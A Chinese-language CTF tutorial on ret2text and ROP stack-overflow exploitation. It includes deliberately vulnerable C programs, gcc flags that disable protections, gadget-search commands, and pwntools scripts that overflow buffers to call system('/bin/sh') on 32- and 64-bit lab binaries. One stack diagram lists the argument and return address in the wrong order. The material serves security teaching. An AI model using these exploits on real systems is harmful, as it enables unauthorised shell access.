pwn入门-ret2text+ROP详解

1
2
3
4
5
6
7
#关闭栈保护
gcc question_4_1.c -m32 -fno-stack-protector -o main
#全部关闭
gcc -no-pie -fno-stack-protector -z execstack -m32 -o 3.exe 3.c
#-no-pie:地址随机化
#-fno-stack-protector:没有堆栈保护
#-z execstack:堆栈可执行

ret2text 即控制程序执行程序本身已有的的代码 (即, .text 段中的代码) 。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。

这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。

前置知识,栈溢出,程序栈

函数栈详解

https://www.bilibili.com/video/BV1i84y1d7mV/?spm_id_from=333.337.search-card.all.click&vd_source=d76ad0aadca055336653cd966075f064

image-20250103182441795

一、system(sh)情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char sh[]="/bin/sh";

int func(char *cmd){
system(sh);
return 0;
}

int dofunc(){
char b[8] = {};
puts("input:");
read(0,b,0x100);
//printf(b);
return 0;
}

int main(){
dofunc();
return 0;
}

这时我们只需要栈溢出覆盖到返回地址即可,就能跳转到func函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context(log_level='debug',arch='i386', os='linux')
pwnfile= './question_4_1_x86'
io = process(pwnfile)
#io = remote('', )
elf = ELF(pwnfile)
rop = ROP(pwnfile)

padding = 0x14
#padding = padding2ebp + context.word_size//8 #通过调试得到

gdb.attach(io)
pause()

return_addr = 0x08049182
payload = b'a'*padding + p32(return_addr)
#payload = flat(['a'*padding, return_addr])
delimiter = 'input:'
io.sendlineafter(delimiter, payload)
io.interactive()

image-20250104145124271

二、需要传入参数的情况

(1)32位

函数调用约定

image-20250103164510940

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char sh[]="/bin/sh";

int func(char *cmd){
system(cmd);
return 0;
}

int dofunc(){
char b[8] = {};
puts("input:");
read(0,b,0x100);
return 0;
}

int main(){
dofunc();
return 0;
}

设想的情况是这样:

image-20250104152602521

但是不行,因为函数的调用过程中call = push eip;jump xxx和retn (pop eip)是一对的,我们所设置返回地址其实设置的是eip,关键还得看函数调用过程:

image-20250104152801213

其实刚才那种布栈方式成功跳转了,但是参数传递失败,因为我们直接把返回地址修改,是没有call这个步骤,相当于我们后面要走那个程序,就直接push ebp,因为函数最后是需要返回的,除了我们需要填入的执行函数的地址外,还要填入这个函数执行完的返回地址(eip),

实际上是这样的(可以看开头的程序栈就知道了):

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context(log_level='debug',arch='i386', os='linux')
pwnfile= './question_4_2_x86'
io = process(pwnfile)
#io = remote('', )
elf = ELF(pwnfile)
rop = ROP(pwnfile)

padding = 0x14

# 0x08049182
return_addr = elf.symbols['func']
bin_sh_addr = 0x804C024
payload = b'a'* padding + p32(return_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)
# deadbeef随便某个地址就行
#payload = flat(['a'*padding, return_addr])
delimiter = 'input:'
io.sendlineafter(delimiter, payload)
io.interactive()

(2)64位

amd64位把参数放在寄存器中

前6个参数依次存放于rdi、rsi、rdx、rcx、r8r9 寄存器中第7个以后的参数存放于栈中

➡️ 在32位中,我们只需覆盖栈上的返回地址,然后依次伪造参数,指向/bin/shsystem,简单明了。

x86_64 架构上,函数调用时,参数传递依赖于寄存器。具体规则如下:

  • 第1个参数rdi
  • 第2个参数rsi
  • 第3个参数rdx
  • 第4个参数rcx
  • 第5个参数r8
  • 第6个参数r9
  • 超过6个参数 → 通过栈传递

在系统调用中(如 system()):

  • system() 只有一个参数,通常是指向 "/bin/sh" 的字符串地址。
  • 在 64 位系统中,这个参数会被放在 rdi 中。
  • 因此,要调用 system("/bin/sh"),我们必须确保 rdi 寄存器中存储 /bin/sh 的地址。

➡️ 在64位中,调用system("/bin/sh")时,/bin/sh的地址必须放到rdi寄存器中,而不是栈中。

64位传参规则:先push参数三再参数2,再1,再eip,是往下写的

image-20250103165625846

负的是内部参数,正的是外部参数

image-20250103165706572

image-20250103165405350

只有一个参数,它也会显示4个

image-20250103170827233

如何给rdi赋值呢?需要用到rop编程:

随着NX保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段(gadgets)来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓gadgets就是以ret结尾的指令序列(只要用到rip的指令都是gadget),通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。之所以称之为ROP,是因为核心在于利用了指令集中的rt指令,改变了指令流的执行顺序。ROP攻击一般得满足如下条件:

  1. 程序存在溢出,并且可以控制返回地址。

  2. 可以找到满足条件的gadgets以及相应gadgets的地址。

如果gadgets每次的地址是不固定的,那我们就需要想办法动态获取对应的地址了。

国资社畜中间讲的很迷惑,我找GPT解释了下:

5D41 5D 的区别:

  • 5D 单独执行 → pop rbp
  • 41 5D 合并执行 → pop r13

我们要实现的目标

  1. /bin/sh 字符串的地址加载到 rdi 寄存器中。
  2. 调用 system(),并将 rdi 作为 system 的参数。

如何给rip赋值

  1. jmp rip
  2. ret(pop) rip

为什么使用 pop rdi; ret

pop rdi

  • 从栈顶弹出一个值,存入 rdi
  • 栈指针 rsp 向下移动 8 个字节(x86_64 上每次 pop 8 字节)。

ret

  • 从栈顶再弹出一个值,当作新的返回地址,并跳转到该地址执行。
  • 栈指针 rsp 再次向下移动 8 个字节。

我们可以在栈上构造如下数据:

1
[padding] -> [pop rdi; ret] -> [/bin/sh 的地址] -> [system 的地址]

栈帧变化示例

假设我们找到的 pop rdi; ret 的地址是 0x400123system 的地址是 0x400456/bin/sh 的地址是 0x600678

栈布局构造

1
2
3
4
[padding]               <-- 覆盖到返回地址
[0x400123] <-- pop rdi; ret
[0x600678] <-- /bin/sh 地址
[0x400456] <-- system 地址

执行过程

  1. 程序返回时:执行到 pop rdi; ret (0x400123)。
  2. pop rdi:从栈顶取出 /bin/sh 的地址(0x600678)并加载到 rdi 中。
  3. ret:从栈顶取出下一个地址(0x400456)并跳转到 system 函数。
  4. **system(“/bin/sh”)**:system 函数使用 rdi 作为参数,执行 /bin/sh

如何找到pop rdi;ret?在实际利用中,我们使用工具 ROPgadgetropper 来找到 pop rdi; ret

使用 ROPgadget

1
ROPgadget --binary ./level2_x64 | grep "pop rdi"

ROPgadget 是一个工具

  • 作用:帮助攻击者在二进制文件中寻找可用的gadget
  • 目标:找到像 pop rdi; retpop rsi; ret 这样的有用指令片段

image-20241231140833374

使用 ropper

1
ropper --file ./level2_x64 --search "pop rdi"

二进制安全领域,特别是ROP(Return Oriented Programming,面向返回的编程)中,Gadget是一段可控的小型指令序列,通常以 ret(返回)指令结尾。这些指令片段存在于可执行程序或库(如 libc.so)中,攻击者可以通过精心构造的栈来控制程序的执行流程,达到任意代码执行目的。

Gadget 并不是人为编写的,而是从现有的二进制文件中提取

image-20250103191207269

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context(log_level='debug',arch='amd64', os='linux')
pwnfile= './question_4_2_x64'
io = process(pwnfile)
#io = remote('', )
elf = ELF(pwnfile)
rop = ROP(pwnfile)

padding = 0x10

return_addr = elf.symbols['func']
bin_sh_addr = 0x404040
pop_rdi_ret = 0x40120b
payload = b'a'* padding + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(return_addr)

# p64 => 0x0b 0x12 0x40 0x00 0x00 0x00 0x00 0x00
# p32 => 0x0b 0x12 0x40 0x00
# p16 => 0x0b 0x12
# p8 => 0x0b
# struct.pack

#payload = flat(['a'*padding, return_addr])
delimiter = 'input:'
io.sendlineafter(delimiter, payload)
io.interactive()

image-20250104170517772

(3)限制栈溢出长度情景

限制栈溢出长度的情景

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char sh[]="/bbbbbbbbbbbbbbbbbbin/sh";

int func(char *cmd){
system(cmd);
return 0;
}

int dofunc(){
char b[8] = {};
puts("input:");
read(0,b,0x1c);
return 0;
}

int main(){
dofunc();
return 0;
}

/bin/sh;sh一样能执行,只需找到sh地址即可

因为call比直接跳转多一个push eip的过程,之前的方法你要自己造一个eip,现在不用了,这个空间就省出来了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context(log_level='debug',arch='amd64', os='linux')
pwnfile= './question_4_3_x86'
io = process(pwnfile)
elf = ELF(pwnfile)
rop = ROP(pwnfile)

padding = 0x14

bin_sh_addr = 0x0804C03A
call_func_addr = 0x0804919B
payload = b'a'* padding + p32(call_func_addr) + p32(bin_sh_addr)

delimiter = 'input:'
io.sendlineafter(delimiter, payload)
io.interactive()

aaaabaaacaaadaaaeaaafaaaga

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context(log_level='debug',arch='i386', os='linux')
pwnfile= './question_4_3_x86'
io = process(pwnfile)
#io = remote('', )
elf = ELF(pwnfile)
rop = ROP(pwnfile)

padding = 0x14
#padding = padding2ebp + context.word_size//8 #通过调试得到

#gdb.attach(io)
#pause()

return_addr = 0x0804919B
sh_addr = 0x804C03A

payload = b'a'* padding + p32(return_addr) + p32(sh_addr)

#payload = flat(['a'*padding, return_addr])
delimiter = 'input:'
io.sendlineafter(delimiter, payload)
io.interactive()

三、例题

image-20241231110921523

Read存在栈溢出,且存在/bin/sh字符串

思路:覆盖返回地址为system_plt,并根据32位的参数传递规则,设置参数/bin/sh

image-20241231111116450

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
file_path='./level2'
context(binary=file_path,os='linux',terminal = ['tmux', 'sp', '-h'])
glibc_version="2.23"
_debug_=1

elf = ELF(file_path)
#pwn.io init
if _debug_:
pwn_file="/glibc/%s/32/lib/ld-%s.so --library-path /glibc/%s/32/lib/ %s"%(glibc_version,glibc_version,glibc_version,file_path)
p = process(pwn_file.split())
libc = ELF('/glibc/%s/32/lib/libc-%s.so'%(glibc_version,glibc_version))
else:
p = remote('node3.buuoj.cn',28124)
libc = ELF('../libc/u16/x86libc-2.23.so')

system_plt = elf.plt['system']
main_addr = 0x08048480
binsh = 0x0804A024

payload = b'a'*0x88+b'b'*4+p32(system_plt)+p32(main_addr)+p32(binsh)
gdb.attach(p,'b *0x0804847E')
p.sendafter('Input',payload)
p.interactive()

buf 大小为 136 字节 (0x88)

1
2
3
4
5
6
7
低地址
[ buf (136字节) ] ← 0x88 (136 字节)
[ EBP (4字节) ] ← b'b'*4
[ RET (返回地址) ] ← p32(system_plt)
[ 参数1 ] ← p32(binsh)
[ 返回地址2 ] ← p32(main_addr)
高地址

64位

漏洞成因和32位的一致。利用思路也一致